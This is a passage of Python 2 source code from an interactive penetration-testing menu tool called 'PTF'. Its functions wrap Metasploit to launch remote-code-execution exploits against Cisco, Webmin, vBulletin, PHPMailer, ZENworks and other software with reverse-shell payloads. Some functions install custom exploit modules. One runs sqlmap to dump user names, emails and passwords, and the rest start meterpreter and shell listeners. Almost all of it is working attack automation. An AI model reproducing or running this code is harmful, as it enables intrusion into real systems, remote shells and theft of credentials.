             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019 "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_dcnm_upload_2019 "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/http/cisco_dcnm_upload_2019; set RHOSTS %s ; set RPORT %s ;set targeturi %s; set payload generic/shell_reverse_tcp ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                cisco()
        elif map =='clear':
            clean()
            cisco()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            cisco()

def zenworks():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration"+N+"): ")
        if map == 'show options':
            help.option()
            zenworks()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/zenworks_configuration "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/http/zenworks_configuration_management_upload; set RHOSTS %s ; set RPORT %s ; set targeturi %s ; set payload generic/shell_reverse_tcp ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                zenworks()
        elif map =='clear':
            clean()
            zenworks()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            zenworks()

def knok():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samsung_knox_smdm_url"+N+"): ")
        if map == 'show options':
            help.option()
            knok()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samsung_knox_smdm_url "+G+"(set SRVHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samsung_knox_smdm_url "+G+"(set SRVPORT)"+N+"): ")
             print "RPORT =>",rport
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samsung_knox_smdm_url "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samsung_knox_smdm_url "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/samsung_knox_smdm_url "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/android/browser/samsung_knox_smdm_url; set SRVHOSTS %s ; set SRVPORT %s ;  set LHOST %s ; set LPORT %s ; run "' % (rhost, rport,lhost, lport))
                print
                knok()
        elif map =='clear':
            clean()
            knok()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            knok()
def cisco_rce():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce"+N+"): ")
        if map == 'show options':
            help.option()
            cisco_rce()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cisco_ucs_rce "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/linux/http/cisco_ucs_rce; set RHOSTS %s ; set RPORT %s ; set targeturi %s ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                cisco_rce()
        elif map =='clear':
            clean()
            cisco_rce()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            cisco_rce()

def abrt():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/abrt_privileges_escalation"+N+"): ")
        if map == 'show options':
            help.option()
            abrt()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             ses =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/abrt_privileges_escalation "+G+"(set SESSION)"+N+"): ")
             print 'LHOST =>',ses
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/abrt_privileges_escalation "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/abrt_privileges_escalation "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/abrt_privileges_escalation "+N+"): ")
             if her =='run':
                os.system('mkdir -p /root/.msf4/modules/exploits/linux/local')
                os.system('cd modules/.msf4 && cp 47421.rb /root/.msf4/modules/exploits/linux/local')
                os.system('msfconsole -q -x "use exploit/linux/local/47421; set SESSION %s; set payload linux/x86/shell_reverse_tcp; set LHOST %s ; set LPORT %s ; run "' % (ses,lhost, lport))
                print
                abrt()
        elif map =='clear':
            clean()
            abrt()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            abrt()
def webmin_packageup_rce():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce"+N+"): ")
        if map == 'show options':
            help.option()
            webmin_packageup_rce()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/webmin_packageup_rce "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/linux/http/webmin_packageup_rce; set RHOSTS %s ; set RPORT %s ; set targeturi %s ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                webmin_packageup_rce()
        elif map =='clear':
            clean()
            webmin_packageup_rce()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            webmin_packageup_rce()

def awind_snmp_exec():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/awind_snmp_exec"+N+"): ")
        if map == 'show options':
            help.option()
            awind_snmp_exec()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/awind_snmp_exec "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/awind_snmp_exec "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/awind_snmp_exec "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/awind_snmp_exec "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/awind_snmp_exec "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/linux/snmp/awind_snmp_exec; set RHOSTS %s ; set RPORT %s ; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, lhost, lport))
                print
                awind_snmp_exec()
        elif map =='clear':
            clean()
            awind_snmp_exec()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            awind_snmp_exec()
def auto_sql():
    while True:
        dd = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/auto_sql"+N+"): ")
        if dd == 'show options':
            help.option()
            auto_sql()
        elif dd =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif dd == "back":
            core.menu.exploits()
        elif dd == 'set target':
            tar = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/auto_sql"+G+"(Select Target)"+N+"): ")
            print'\nStart Target Sqlmap',tar
            os.system('sqlmap -u "%s" --risk=3 --level=4 --dbs --output-dir=log/' % (tar))
            dat = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/auto_sql"+G+"(Select Database)"+N+"): ")
            os.system('sqlmap -u "%s" --risk=3 --level=4 -D %s -T users -C name,mail,pass --dump --output-dir=log/'% (tar,dat))
            auto_sql()
        elif dd == 'clear':
            clean()
            auto_sql()
        else:
            print "Wrong Command => ", dd
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            auto_sql()

def cmsms_showtime2_rce():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce"+N+"): ")
        if map == 'show options':
            help.option()
            cmsms_showtime2_rce()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/cmsms_showtime2_rce "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/http/cmsms_showtime2_rce; set RHOSTS %s ; set RPORT %s ; set targeturi %s ; set payload generic/shell_reverse_tcp; set LHOST %s ; set LPORT %s ; run "' % (rhost, rport, uri, lhost, lport))
                print
                cmsms_showtime2_rce()
        elif map =='clear':
            clean()
            cmsms_showtime2_rce()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            cmsms_showtime2_rce()
def web_delivery():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/web_delivery"+N+"): ")
        if map == 'show options':
            help.option()
            web_delivery()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/web_delivery "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/web_delivery "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             print ""+G+"\n<=======================>"
             print ""+R+"  Exploit Target"
             print ""+G+"<=======================>"
             print ""+N+"   0. Python"
             print ""+N+"   1. PHP"
             print ""+N+"   2. PSH"
             print ""+N+"   3. Regsvr32"
             print ""+N+"   4. pubprn"
             print ""+N+"   5. PSH (binary)"
             print ""+N+"   6. linux"
             target =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/web_delivery "+G+"(set number exploit target)"+N+"): ")
             print ""+R+"Exploit Target",target
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/web_delivery "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/script/web_delivery; set payload generic/shell_reverse_tcp ; set lhost %s ; set lport %s ; set target %s ; run"' % (lhost,lport,target))
                print
                web_delivery()
        elif map =='clear':
            clean()
            web_delivery()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            web_delivery()


def vbul():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce"+N+"): ")
        if map == 'show options':
            help.option()
            vbul()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             uri =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce "+G+"(set targeturi/)"+N+"): ")
             print 'targeturi =>',uri
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/vbulletin_rce "+N+"): ")
             if her =='run':
                os.system('mkdir -p /root/.msf4/modules/exploits/unix/webapps')
                os.system('cd modules/.msf4 && cp vbulletin.rb /root/.msf4/modules/exploits/unix/webapps')
                os.system('msfconsole -q -x "use exploit/unix/webapps/vbulletin; set RHOSTS %s ; set RPORT %s ; set targeturi %s ; set payload generic/shell_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (rhost,rport,uri,lhost,lport))
                print
                vbul()
        elif map =='clear':
            clean()
            vbul()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            vbul()
def phpmailer_injection():
    map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection"+N+"): ")
    if map == 'show options':
        help.option()
        phpmailer_injection()
    elif map =='exit':
         print
         print""+G+"Thanks for using PTF"
         print
         exit()
    elif map == 'back':
        core.menu.exploits()
    elif map =='set target':
         rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+G+"(set RHOST)"+N+"): ")
         print "RHOST =>",rhost
         rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+G+"(set RPORT)"+N+"): ")
         print "RPORT =>",rport
         url = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+G+"(set Path to the uploaded payload)"+N+"): ")
         web = raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+G+"(set  Path to the web root)"+N+"): ")
         lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+G+"(set LHOST)"+N+"): ")
         print 'LHOST =>',lhost
         lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+G+"(set LPORT)"+N+"): ")
         print 'LPORT =>',lport
         her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/phpmailer_injection "+N+"): ")
         if her =='run':
            os.system('msfconsole -q -x "use exploit/multi/http/phpmailer_arg_injection; set RHOSTS %s ; set RPORT %s ; set TRIGGERURI %s ; set WEB_ROOT %s; set payload generic/shell_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (rhost,rport,url,web,lhost,lport))
            print
            phpmailer_injection()
    elif map =='clear':
        clean()
        phpmailer_injection()
    else:
        print "Wrong Command => ", map
        print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
        phpmailer_injection()
def ldap():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/ldap_buffer_overflow"+N+"): ")
        if map == 'show options':
            help.option()
            ldap()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map == 'back':
            core.menu.exploits()
        elif map =='set target':
             rhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/ldap_buffer_overflow "+G+"(set RHOST)"+N+"): ")
             print "RHOST =>",rhost
             rport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/ldap_buffer_overflow "+G+"(set RPORT)"+N+"): ")
             print "RPORT =>",rport
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/ldap_buffer_overflow "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/ldap_buffer_overflow "+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/exploits)("+R+"exploit/ldap_buffer_overflow "+N+"): ")
             if her =='run':
                os.system('mkdir -p /root/.msf4/modules/exploits/windows/remote')
                os.system('cd modules/.msf4 && cp ldap.rb /root/.msf4/modules/exploits/windows/remote')
                os.system('msfconsole -q -x "use exploit/windows/remote/ldap; set RHOSTS %s ; set RPORT %s ; set payload generic/shell_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (rhost,rport,lhost,lport))
                print
                ldap()
        elif map =='clear':
            clean()
            ldap()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            ldap()
#LISTENERS
def android_meterpreter_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            android_meterpreter_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload android/meterpreter/reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                android_meterpreter_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            android_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            android_meterpreter_reverse_tcp()
def android_meterpreter_reverse_https():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_https"+N+"): ")
        if map == 'show options':
            help.jancok()
            android_meterpreter_reverse_https()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_https "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_https"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/android_meterpreter_reverse_https "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload android/meterpreter/reverse_https ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                android_meterpreter_reverse_https()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            android_meterpreter_reverse_https()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            android_meterpreter_reverse_https()

def java_jsp_shell_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/java_jsp_shell_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            java_jsp_shell_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/java_jsp_shell_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/java_jsp_shell_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/java_jsp_shell_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload java/jsp_shell_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                java_jsp_shell_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            java_jsp_shell_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            java_jsp_shell_reverse_tcp()

def linux_x64_meterpreter_reverse_https():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_https"+N+"): ")
        if map == 'show options':
            help.jancok()
            linux_x64_meterpreter_reverse_https()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_https "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_https"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_https "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter_reverse_https ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                linux_x64_meterpreter_reverse_https()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            linux_x64_meterpreter_reverse_https()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            linux_x64_meterpreter_reverse_https()

def linux_x64_meterpreter_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            linux_x64_meterpreter_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter_reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                linux_x64_meterpreter_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            linux_x64_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            linux_x64_meterpreter_reverse_tcp()

def linux_x64_shell_reverse_tcp():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp"+N+"): ")
        if map == 'show options':
            help.jancok()
            linux_x64_shell_reverse_tcp()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/linux_x64_meterpreter_reverse_tcp "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell/reverse_tcp ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
                linux_x64_shell_reverse_tcp()
        elif map == 'back':
            core.menu.listener()
        elif map =='clear':
            clean()
            linux_x64_meterpreter_reverse_tcp()
        else:
            print "Wrong Command => ", map
            print ""+N+""+B+"["+R+"!"+B+"] "+N+"Please enter 'show options'"
            linux_x64_shell_reverse_tcp()

def osx_x64_meterpreter_reverse_https():
    while True:
        map =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_https"+N+"): ")
        if map == 'show options':
            help.jancok()
            osx_x64_meterpreter_reverse_https()
        elif map =='exit':
             print
             print""+G+"Thanks for using PTF"
             print
             exit()
        elif map =='set target':
             lhost =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_https "+G+"(set LHOST)"+N+"): ")
             print 'LHOST =>',lhost
             lport =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_https"+G+"(set LPORT)"+N+"): ")
             print 'LPORT =>',lport
             her =raw_input(""+N+"Pentest>> ("+B+"modules/listener)("+R+"listener/osx_x64_meterpreter_reverse_https "+N+"): ")
             if her =='run':
                os.system('msfconsole -q -x "use exploit/multi/handler; set payload osx/x64/meterpreter_reverse_https ; set lhost %s ; set lport %s ; run"' % (lhost,lport))
                print
